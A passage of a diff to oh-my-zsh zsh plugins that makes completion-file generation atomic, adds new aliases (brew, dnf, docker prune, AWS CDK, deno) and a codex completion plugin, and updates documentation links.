+| paclsorphans | `pacman -Qdt`                          | List all orphaned packages                                       |
 | pacmir       | `sudo pacman -Syy`                     | Force refresh of all package lists after updating mirrorlist     |
 | pacre        | `sudo pacman -R`                       | Remove packages, keeping its settings and dependencies           |
 | pacrem       | `sudo pacman -Rns`                     | Remove packages, including its settings and dependencies         |

plugins/archlinux/archlinux.plugin.zsh

@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
 alias paclocs='pacman -Qs'
 alias pacinsd='sudo pacman -S --asdeps'
 alias pacmir='sudo pacman -Syy'
-alias paclsorphans='sudo pacman -Qdt'
+alias paclsorphans='pacman -Qdt'
 alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
 alias pacfileupg='sudo pacman -Fy'
 alias pacfiles='pacman -F'

plugins/arduino-cli/arduino-cli.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_arduino-cli" ]]; then
 fi
 
 # Generate and load arduino-cli completion
-arduino-cli completion zsh >! "$ZSH_CACHE_DIR/completions/_arduino-cli" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_arduino-cli"
+  zf_mv -f -- =( arduino-cli completion zsh ) "$TMPPREFIX"
+} &|

plugins/argocd/argocd.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_argocd" ]]; then
   _comps[argocd]=_argocd
 fi
 
-argocd completion zsh >| "$ZSH_CACHE_DIR/completions/_argocd" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_argocd"
+  zf_mv -f -- =( argocd completion zsh ) "$TMPPREFIX"
+} &|

plugins/asdf/asdf.plugin.zsh

@@ -12,4 +12,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_asdf" ]]; then
   autoload -Uz _asdf
   _comps[asdf]=_asdf
 fi
-asdf completion zsh >| "$ZSH_CACHE_DIR/completions/_asdf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_asdf"
+  zf_mv -f -- =( asdf completion zsh ) "$TMPPREFIX"
+} &|

plugins/aws/aws.plugin.zsh

@@ -9,14 +9,14 @@ function agr() {
 # Update state file if enabled
 function _aws_update_state() {
   if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
     echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
   fi
 }
 
 function _aws_clear_state() {
   if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
     echo -n > "${AWS_STATE_FILE}"
   fi
 }
@@ -69,7 +69,7 @@ function asr() {
   local -a available_regions
   available_regions=($(aws_regions))
   if [[ -z "${available_regions[(r)$1]}" ]]; then
-    echo "${fg[red]}Available regions: \n$(aws_regions)"
+    echo "${fg[red]}Available regions: \n$(aws_regions)${reset_color}" >&2
     return 1
   fi
 

plugins/bedtools/README.md

@@ -1,5 +1,5 @@
 # Bedtools plugin
 
-This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
+This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):
 
 * Adds autocomplete options for all bedtools sub commands.

plugins/bgnotify/bgnotify.plugin.zsh

@@ -67,6 +67,9 @@ function bgnotify_appid {
   elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
     local app_id=$(bgnotify_find_sway_appid)
     [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
+  elif [[ -n $NIRI_SOCKET ]]; then # niri
+    local app_id=$(bgnotify_find_niri_appid)
+    [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
   elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
     xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
   else
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
   fi
 }
 
+function bgnotify_find_niri_appid {
+  if (( ${+commands[jq]} )); then
+    niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
+  fi
+}
+
 function bgnotify_programid {
   case "$TERM_PROGRAM" in
     iTerm.app) echo 'com.googlecode.iterm2' ;;

plugins/brew/README.md

@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
 In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
 the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
 
+### sbin directory
+
+This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
+Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
+ensures the `bdr` alias runs without warnings.
+
 ## Aliases
 
 | Alias    | Command                                 | Description                                                           |
@@ -35,11 +41,14 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
 | `bdr`    | `brew doctor`                           | Check your system for potential problems.                             |
 | `bfu`    | `brew upgrade --formula`                | Upgrade only formulae (not casks).                                    |
 | `bi`     | `brew install`                          | Install a formula.                                                    |
+| `bih`    | `brew install --HEAD`                   | Install a formula with --HEAD                                         |
 | `bl`     | `brew list`                             | List all installed formulae.                                          |
 | `bo`     | `brew outdated`                         | List installed formulae that have an updated version available.       |
+| `br`     | `brew reinstall`                        | Reinstall a formula.                                                  |
 | `brewp`  | `brew pin`                              | Pin a specified formula so that it's not upgraded.                    |
-| `brews`  | `brew list -1`                          | List installed formulae or the installed files for a given formula.   |
+| `brews`  | _function_                              | List installed leaf formulae with their dependencies, then casks.     |
 | `brewsp` | `brew list --pinned`                    | List pinned formulae, or show the version of a given formula.         |
+| `brh`    | `brew reinstall --HEAD`                 | Reinstall a formula with --HEAD                                       |
 | `bs`     | `brew search`                           | Perform a substring search of cask tokens and formula names for text. |
 | `bsl`    | `brew services list`                    | List all running services.                                            |
 | `bsoff`  | `brew services stop`                    | Stop the service and unregister it from launching at login (or boot). |

plugins/brew/brew.plugin.zsh

@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
   export HOMEBREW_PREFIX="$(brew --prefix)"
 fi
 
+# Add Homebrew sbin to PATH if it exists and is not already in PATH.
+# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
+# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
+# missing from PATH.
+if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
+  if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
+    export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
+  fi
+fi
+
 if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
   fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
 fi
@@ -48,10 +58,13 @@ alias bcup='brew upgrade --cask'
 alias bdr='brew doctor'
 alias bfu='brew upgrade --formula'
 alias bi='brew install'
+alias bih='brew install --HEAD'
 alias bl='brew list'
 alias bo='brew outdated'
+alias br='brew reinstall'
 alias brewp='brew pin'
 alias brewsp='brew list --pinned'
+alias brh='brew reinstall --HEAD'
 alias bs='brew search'
 alias bsl='brew services list'
 alias bsoff='brew services stop'

plugins/buf/buf.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_buf" ]]; then
 fi
 
 # Generate and load buf completion
-buf completion zsh >! "$ZSH_CACHE_DIR/completions/_buf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_buf"
+  zf_mv -f -- =( buf completion zsh ) "$TMPPREFIX"
+} &|

plugins/bun/bun.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_bun" ]]; then
   _comps[bun]=_bun
 fi
 
-SHELL=zsh bun completions >| "$ZSH_CACHE_DIR/completions/_bun" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_bun"
+  zf_mv -f -- =( SHELL=zsh bun completions ) "$TMPPREFIX"
+} &|

plugins/bundler/README.md

@@ -11,18 +11,19 @@ plugins=(... bundler)
 
 ## Aliases
 
-| Alias  | Command                              | Description                                                                              |
+| Alias  | Command           | Description                                              |
-|--------|--------------------------------------|------------------------------------------------------------------------------------------|
+| ------ | ----------------- | -------------------------------------------------------- |
-| `ba`   | `bundle add`                         | Add gem to the Gemfile and run bundle install                                            |
+| `ba`   | `bundle add`      | Add gem to the Gemfile and run bundle install            |
-| `bck`  | `bundle check`                       | Verifies if dependencies are satisfied by installed gems                                 |
+| `bck`  | `bundle check`    | Verifies if dependencies are satisfied by installed gems |
-| `bcn`  | `bundle clean`                       | Cleans up unused gems in your bundler directory                                          |
+| `bcn`  | `bundle clean`    | Cleans up unused gems in your bundler directory          |
-| `be`   | `bundle exec`                        | Execute a command in the context of the bundle                                           |
+| `be`   | `bundle exec`     | Execute a command in the context of the bundle           |
-| `bi`   | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) |
+| `bi`   | `bundle install`  | Install the dependencies specified in your Gemfile       |
-| `bl`   | `bundle list`                        | List all the gems in the bundle                                                          |
+| `bl`   | `bundle list`     | List all the gems in the bundle                          |
-| `bo`   | `bundle open`                        | Opens the source directory for a gem in your bundle                                      |
+| `bo`   | `bundle open`     | Opens the source directory for a gem in your bundle      |
-| `bout` | `bundle outdated`                    | List installed gems with newer versions available                                        |
+| `bout` | `bundle outdated` | List installed gems with newer versions available        |
-| `bp`   | `bundle package`                     | Package your needed .gem files into your application                                     |
+| `bp`   | `bundle package`  | Package your needed .gem files into your application     |
-| `bu`   | `bundle update`                      | Update your gems to the latest available versions                                        |
+| `bu`   | `bundle update`   | Update your gems to the latest available versions          |
+| `bua`  | `bundle update --all` | Update all gems to the latest available versions      |
 
 ## Gem wrapper
 

plugins/bundler/bundler.plugin.zsh

@@ -4,44 +4,13 @@ alias ba="bundle add"
 alias bck="bundle check"
 alias bcn="bundle clean"
 alias be="bundle exec"
-alias bi="bundle_install"
+alias bi="bundle install"
 alias bl="bundle list"
 alias bo="bundle open"
 alias bout="bundle outdated"
 alias bp="bundle package"
 alias bu="bundle update"
-
+alias bua="bundle update --all"
-## Functions
-
-bundle_install() {
-  # Bail out if bundler is not installed
-  if (( ! $+commands[bundle] )); then
-    echo "Bundler is not installed"
-    return 1
-  fi
-
-  # Bail out if not in a bundled project
-  if ! _within-bundled-project; then
-    echo "Can't 'bundle install' outside a bundled project"
-    return 1
-  fi
-
-  # Check the bundler version is at least 1.4.0
-  autoload -Uz is-at-least
-  local bundler_version=$(bundle version | cut -d' ' -f3)
-  if ! is-at-least 1.4.0 "$bundler_version"; then
-    bundle install "$@"
-    return $?
-  fi
-
-  # If bundler is at least 1.4.0, use all the CPU cores to bundle install
-  if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
-    local cores_num="$(sysctl -n hw.ncpu)"
-  else
-    local cores_num="$(nproc)"
-  fi
-  BUNDLE_JOBS="$cores_num" bundle install "$@"
-}
 
 ## Gem wrapper
 

plugins/cdk/README.md

@@ -0,0 +1,32 @@
+# AWS CDK Plugin
+
+This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
+
+## Usage
+
+Add `cdk` to the plugins array in your `.zshrc`:
+
+```zsh
+plugins=(... cdk)
+```
+
+## Requirements
+
+- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
+
+## Aliases
+
+| Alias        | Command           | Description                        |
+| ------------ | ----------------- | ---------------------------------- |
+| `cdkl`       | `cdk list`        | List all stacks in the app         |
+| `cdksynth`   | `cdk synth`       | Synthesize CloudFormation template |
+| `cdkdiff`    | `cdk diff`        | Compare deployed vs local stack    |
+| `cdkdeploy`  | `cdk deploy`      | Deploy stack to AWS                |
+| `cdkdestroy` | `cdk destroy`     | Destroy deployed stack             |
+| `cdkboot`    | `cdk bootstrap`   | Bootstrap CDK environment          |
+| `cdkdoc`     | `cdk docs`        | Open CDK documentation             |
+| `cdkinit`    | `cdk init`        | Initialize a new CDK project       |
+| `cdkwatch`   | `cdk watch`       | Watch for changes and auto-deploy  |
+| `cdkctx`     | `cdk context`     | Manage cached context values       |
+| `cdkack`     | `cdk acknowledge` | Acknowledge a notice               |
+| `cdkver`     | `cdk --version`   | Print CDK version                  |

plugins/cdk/_cdk

@@ -0,0 +1,12 @@
+#compdef cdk
+
+# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
+
+local -a reply
+local IFS
+IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
+          COMP_LINE="$BUFFER" \
+          COMP_POINT="$CURSOR" \
+          cdk --get-yargs-completions "${words[@]}"))
+
+_describe 'values' reply

plugins/cdk/cdk.plugin.zsh

@@ -0,0 +1,13 @@
+# Aliases
+alias cdkl='cdk list'
+alias cdksynth='cdk synth'
+alias cdkdiff='cdk diff'
+alias cdkdeploy='cdk deploy'
+alias cdkdestroy='cdk destroy'
+alias cdkboot='cdk bootstrap'
+alias cdkdoc='cdk docs'
+alias cdkinit='cdk init'
+alias cdkwatch='cdk watch'
+alias cdkctx='cdk context'
+alias cdkack='cdk acknowledge'
+alias cdkver='cdk --version'

plugins/celery/README.md

@@ -1,6 +1,6 @@
 # Celery
 
-This plugin provides completion for [Celery](http://www.celeryproject.org/).
+This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).
 
 To use it add celery to the plugins array in your zshrc file.
 

plugins/charm/charm.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_charm" ]]; then
   _comps[charm]=_charm
 fi
 
-charm completion zsh >| "$ZSH_CACHE_DIR/completions/_charm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_charm"
+  zf_mv -f -- =( charm completion zsh ) "$TMPPREFIX"
+} &|

plugins/chezmoi/chezmoi.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_chezmoi" ]]; then
   _comps[chezmoi]=_chezmoi
 fi
 
-chezmoi completion zsh >| "$ZSH_CACHE_DIR/completions/_chezmoi" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_chezmoi"
+  zf_mv -f -- =( chezmoi completion zsh ) "$TMPPREFIX"
+} &|

plugins/codex/README.md

@@ -0,0 +1,11 @@
+# codex Plugin
+
+## Introduction
+
+This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
+
+To use it, add `codex` to the plugins array of your zshrc file:
+
+```bash
+plugins=(... codex)
+```

plugins/codex/codex.plugin.zsh

@@ -0,0 +1,18 @@
+# COMPLETION FUNCTION
+if (( ! $+commands[codex] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `codex`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _codex
+  _comps[codex]=_codex
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_codex"
+  zf_mv -f -- =( codex completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
+} &|

plugins/colored-man-pages/colored-man-pages.plugin.zsh

@@ -43,7 +43,7 @@ function colored() {
     environment+=( PATH="${__colored_man_pages_dir}:$PATH" )
   fi
 
-  command env $environment "$@"
+  command env "${environment[@]}" "$@"
 }
 
 # Colorize man and dman/debman (from debian-goodies)

plugins/command-not-found/README.md

@@ -22,14 +22,16 @@ Try: sudo apt install <selected package>
 
 It works out of the box with the command-not-found packages for:
 
-- [Ubuntu](https://www.porcheron.info/command-not-found-for-zsh/)
+- [Ubuntu](https://launchpad.net/ubuntu/+source/command-not-found)
 - [Debian](https://packages.debian.org/search?keywords=command-not-found)
-- [Arch Linux](https://wiki.archlinux.org/index.php/Pkgfile#Command_not_found)
+- [Arch Linux](https://wiki.archlinux.org/title/Zsh#pkgfile_"command_not_found"_handler)
-- [macOS (Homebrew)](https://github.com/Homebrew/homebrew-command-not-found)
+- [macOS (Homebrew)](https://github.com/Homebrew/brew/blob/main/docs/Command-Not-Found.md)
 - [Fedora](https://fedoraproject.org/wiki/Features/PackageKitCommandNotFound)
 - [NixOS](https://github.com/NixOS/nixpkgs/tree/master/nixos/modules/programs/command-not-found)
 - [Termux](https://github.com/termux/command-not-found)
 - [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
 - [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
+- [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
+- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)
 
 You can add support for other platforms by submitting a Pull Request.

plugins/command-not-found/command-not-found.plugin.zsh

@@ -1,13 +1,15 @@
 ## Platforms with a built-in command-not-found handler init file
 
 for file (
-  # Arch Linux. Must have pkgfile installed: https://wiki.archlinux.org/index.php/Pkgfile#Command_not_found
+  # Arch Linux. Must have pkgfile installed: https://wiki.archlinux.org/title/Zsh#pkgfile_"command_not_found"_handler
   /usr/share/doc/pkgfile/command-not-found.zsh
-  # Homebrew: https://github.com/Homebrew/homebrew-command-not-found
+  # Void Linux: https://codeberg.org/classabbyamp/xbps-command-not-found
+  /usr/share/zsh/plugins/xbps-command-not-found/xbps-command-not-found.zsh
+  # Homebrew: https://github.com/Homebrew/brew/blob/main/docs/Command-Not-Found.md
   /opt/homebrew/Library/Homebrew/command-not-found/handler.sh
   /usr/local/Homebrew/Library/Homebrew/command-not-found/handler.sh
   /home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/command-not-found/handler.sh
-	# Old homebrew implementation
+  # Old homebrew implementation
   /opt/homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
   /usr/local/Homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
   /home/linuxbrew/.linuxbrew/Homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
@@ -72,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
     /usr/bin/command-not-found "$1"
   }
 fi
+
+# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
+if [[ -x /usr/libexec/command-not-found ]]; then
+  command_not_found_handler() {
+    /usr/libexec/command-not-found "$1"
+  }
+fi

plugins/common-aliases/common-aliases.plugin.zsh

@@ -78,7 +78,7 @@ if is-at-least 4.2.0; then
   alias -s chm=xchm
   alias -s djvu=djview
 
-  #list whats inside packed file
+  #list what's inside packed file
   alias -s zip="unzip -l"
   alias -s rar="unrar l"
   alias -s tar="tar tf"

plugins/deno/README.md

@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
 
 ## Aliases
 
-| Alias | Full command        |
+| Alias | Full command     |
-| ----- | ------------------- |
+| ----- | ---------------- |
-| db    | deno bundle         |
+| dc    | deno compile     |
-| dc    | deno compile        |
+| dca   | deno cache       |
-| dca   | deno cache          |
+| dck   | deno check       |
-| dfmt  | deno fmt            |
+| dfmt  | deno fmt         |
-| dh    | deno help           |
+| dh    | deno help        |
-| dli   | deno lint           |
+| dli   | deno lint        |
-| drn   | deno run            |
+| drn   | deno run         |
-| drA   | deno run -A         |
+| drA   | deno run -A      |
-| drw   | deno run --watch    |
+| drw   | deno run --watch |
-| dru   | deno run --unstable |
+| dsv   | deno serve       |
-| dts   | deno test           |
+| dts   | deno test        |
-| dup   | deno upgrade        |
+| dup   | deno upgrade     |

plugins/deno/deno.plugin.zsh

@@ -1,14 +1,14 @@
 # ALIASES
-alias db='deno bundle'
 alias dc='deno compile'
 alias dca='deno cache'
+alias dck='deno check'
 alias dfmt='deno fmt'
 alias dh='deno help'
 alias dli='deno lint'
 alias drn='deno run'
 alias drA='deno run -A'
 alias drw='deno run --watch'
-alias dru='deno run --unstable'
+alias dsv='deno serve'
 alias dts='deno test'
 alias dup='deno upgrade'
 
@@ -25,4 +25,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_deno" ]]; then
   _comps[deno]=_deno
 fi
 
-deno completions zsh >| "$ZSH_CACHE_DIR/completions/_deno" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_deno"
+  zf_mv -f -- =( deno completions zsh ) "$TMPPREFIX"
+} &|

plugins/dnf/README.md

@@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.
 
 ## Aliases
 
-| Alias | Command                 | Description              |
+| Alias | Command                       | Description                              |
-|-------|-------------------------|--------------------------|
+|-------|-------------------------------|------------------------------------------|
-| dnfl  | `dnf list`              | List packages            |
+| dnfl  | `dnf list`                    | List packages                            |
-| dnfli | `dnf list installed`    | List installed packages  |
+| dnfli | `dnf list --installed`        | List installed packages                  |
-| dnfgl | `dnf grouplist`         | List package groups      |
+| dnfgl | `dnf grouplist`               | List package groups                      |
-| dnfmc | `dnf makecache`         | Generate metadata cache  |
+| dnfmc | `dnf makecache`               | Generate metadata cache                  |
-| dnfp  | `dnf info`              | Show package information |
+| dnfp  | `dnf info`                    | Show package information                 |
-| dnfs  | `dnf search`            | Search package           |
+| dnfs  | `dnf search`                  | Search package                           |
-| **Use `sudo`**                                             |
+| **Use `sudo`**                                                                      |
-| dnfu  | `sudo dnf upgrade`      | Upgrade package          |
+| dnfu  | `sudo dnf upgrade`            | Upgrade package                          |
-| dnfi  | `sudo dnf install`      | Install package          |
+| dnfur | `sudo dnf upgrade --refresh`  | Upgrade package (force metadata refresh) |
-| dnfgi | `sudo dnf groupinstall` | Install package group    |
+| dnfi  | `sudo dnf install`            | Install package                          |
-| dnfr  | `sudo dnf remove`       | Remove package           |
+| dnfgi | `sudo dnf groupinstall`       | Install package group                    |
-| dnfgr | `sudo dnf groupremove`  | Remove package group     |
+| dnfr  | `sudo dnf remove`             | Remove package                           |
-| dnfc  | `sudo dnf clean all`    | Clean cache              |
+| dnfgr | `sudo dnf groupremove`        | Remove package group                     |
+| dnfc  | `sudo dnf clean all`          | Clean cache                              |

plugins/dnf/dnf.plugin.zsh

@@ -5,15 +5,24 @@ local dnfprog="dnf"
 command -v dnf5 > /dev/null && dnfprog=dnf5
 
 alias dnfl="${dnfprog} list"                       # List packages
-alias dnfli="${dnfprog} list installed"            # List installed packages
+alias dnfli="${dnfprog} list --installed"          # List installed packages
-alias dnfgl="${dnfprog} grouplist"                 # List package groups
 alias dnfmc="${dnfprog} makecache"                 # Generate metadata cache
 alias dnfp="${dnfprog} info"                       # Show package information
 alias dnfs="${dnfprog} search"                     # Search package
 
 alias dnfu="sudo ${dnfprog} upgrade"               # Upgrade package
+alias dnfur="sudo ${dnfprog} upgrade --refresh"    # Upgrade package and refresh repos
 alias dnfi="sudo ${dnfprog} install"               # Install package
-alias dnfgi="sudo ${dnfprog} groupinstall"         # Install package group
 alias dnfr="sudo ${dnfprog} remove"                # Remove package
-alias dnfgr="sudo ${dnfprog} groupremove"          # Remove package group
 alias dnfc="sudo ${dnfprog} clean all"             # Clean cache
+
+# Conditional aliases based on dnfprog value
+if [[ "${dnfprog}" == "dnf5" ]]; then
+    alias dnfgl="${dnfprog} group list"            # List package groups (dnf5)
+    alias dnfgi="sudo ${dnfprog} group install"    # Install package group (dnf5)
+    alias dnfgr="sudo ${dnfprog} group remove"     # Remove package group (dnf5)
+else
+    alias dnfgl="${dnfprog} grouplist"             # List package groups (dnf)
+    alias dnfgi="sudo ${dnfprog} groupinstall"     # Install package group (dnf)
+    alias dnfgr="sudo ${dnfprog} groupremove"      # Remove package group (dnf)
+fi

plugins/docker-compose/README.md

@@ -2,7 +2,7 @@
 
 This plugin provides completion for [docker-compose](https://docs.docker.com/compose/) as well as some
 aliases for frequent docker-compose commands.
-This plugin chooses automatically between the legacy `docker-compose` command and the modern 
+This plugin chooses automatically between the legacy `docker-compose` command and the modern
 `docker compose` subcommand, preferring `docker-compose` when both are available.
 
 To use it, add docker-compose to the plugins array of your zshrc file:
@@ -17,6 +17,7 @@ plugins=(... docker-compose)
 |-----------|----------------------------------|----------------------------------------------------------------------------------|
 | dco       | `docker-compose`                 | Docker-compose main command                                                      |
 | dcb       | `docker-compose build`           | Build containers                                                                 |
+| dcc       | `docker-compose config`                 | Parse, resolve and render compose file in canonical format |
 | dce       | `docker-compose exec`            | Execute command inside a container                                               |
 | dcps      | `docker-compose ps`              | List containers                                                                  |
 | dcrestart | `docker-compose restart`         | Restart container                                                                |

plugins/docker-compose/docker-compose.plugin.zsh

@@ -6,6 +6,7 @@
 
 alias dco="$dccmd"
 alias dcb="$dccmd build"
+alias dcc="$dccmd config"
 alias dce="$dccmd exec"
 alias dcps="$dccmd ps"
 alias dcrestart="$dccmd restart"

plugins/docker/README.md

@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dcin    | `docker container inspect`    | Display detailed information on one or more containers                                   |
 | dcls    | `docker container ls`         | List all the running docker containers                                                   |
 | dclsa   | `docker container ls -a`      | List all running and stopped containers                                                  |
+| dcprune | `docker container prune`      | Remove all stopped containers                                                            |
 | dib     | `docker image build`          | Build an image from a Dockerfile (same as docker build)                                  |
 | dii     | `docker image inspect`        | Display detailed information on one or more images                                       |
 | dils    | `docker image ls`             | List docker images                                                                       |
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dndcn   | `docker network disconnect`   | Disconnect a container from a network                                                    |
 | dni     | `docker network inspect`      | Return information about one or more networks                                            |
 | dnls    | `docker network ls`           | List all networks the engine daemon knows about, including those spanning multiple hosts |
+| dnprune | `docker network prune`        | Remove all unused networks                                                               |
 | dnrm    | `docker network rm`           | Remove one or more networks                                                              |
 | dpo     | `docker container port`       | List port mappings or a specific mapping for the container                               |
 | dps     | `docker ps`                   | List all the running docker containers                                                   |
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | drit    | `docker container run -it`    | Create a new container and start it in an interactive shell                              |
 | drm     | `docker container rm`         | Remove the specified container(s)                                                        |
 | drm!    | `docker container rm -f`      | Force the removal of a running container (uses SIGKILL)                                  |
+| dsprune | `docker system prune`         | Remove unused data                                                                       |
 | dst     | `docker container start`      | Start one or more stopped containers                                                     |
 | drs     | `docker container restart`    | Restart one or more containers                                                           |
 | dsta    | `docker stop $(docker ps -q)` | Stop all running containers                                                              |

plugins/docker/docker.plugin.zsh

@@ -2,6 +2,7 @@ alias dbl='docker build'
 alias dcin='docker container inspect'
 alias dcls='docker container ls'
 alias dclsa='docker container ls -a'
+alias dcprune='docker container prune'
 alias dib='docker image build'
 alias dii='docker image inspect'
 alias dils='docker image ls'
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
 alias dndcn='docker network disconnect'
 alias dni='docker network inspect'
 alias dnls='docker network ls'
+alias dnprune='docker network prune'
 alias dnrm='docker network rm'
 alias dpo='docker container port'
 alias dps='docker ps'
@@ -24,6 +26,7 @@ alias dr='docker container run'
 alias drit='docker container run -it'
 alias drm='docker container rm'
 alias 'drm!'='docker container rm -f'
+alias dsprune='docker system prune'
 alias dst='docker container start'
 alias drs='docker container restart'
 alias dsta='docker stop $(docker ps -q)'
@@ -53,14 +56,19 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_docker" ]]; then
   _comps[docker]=_docker
 fi
 
-{
+zmodload -F zsh/files b:zf_mv
+() {
+
+  local plugin_dir="$1"
+
   # `docker completion` is only available from 23.0.0 on
   # docker version returns `Docker version 24.0.2, build cb74dfcd85`
   # with `s:,:` remove the comma after the version, and select third word of it
   if zstyle -t ':omz:plugins:docker' legacy-completion || \
     ! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then
-        command cp "${0:h}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
+        command cp "${plugin_dir}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
       else
-        command docker completion zsh | tee "$ZSH_CACHE_DIR/completions/_docker" > /dev/null
+        local TMPPREFIX="$ZSH_CACHE_DIR/completions/_docker"
+        zf_mv -f -- =( command docker completion zsh ) "$TMPPREFIX"
   fi
-} &|
+} "${0:A:h}" &|

plugins/doctl/doctl.plugin.zsh

@@ -14,4 +14,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_doctl" ]]; then
   _comps[doctl]=_doctl
 fi
 
-doctl completion zsh >| "$ZSH_CACHE_DIR/completions/_doctl" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_doctl"
+  zf_mv -f -- =( doctl completion zsh ) "$TMPPREFIX"
+} &|

plugins/dotenv/.zunit.yml

@@ -0,0 +1,9 @@
+tap: false
+directories:
+  tests: tests
+  output: tests/_output
+  support: tests/_support
+time_limit: 0
+fail_fast: false
+allow_risky: false
+verbose: false

plugins/dotenv/README.md

@@ -34,6 +34,25 @@ PORT=3001
 
 You can even mix both formats, although it's probably a bad idea.
 
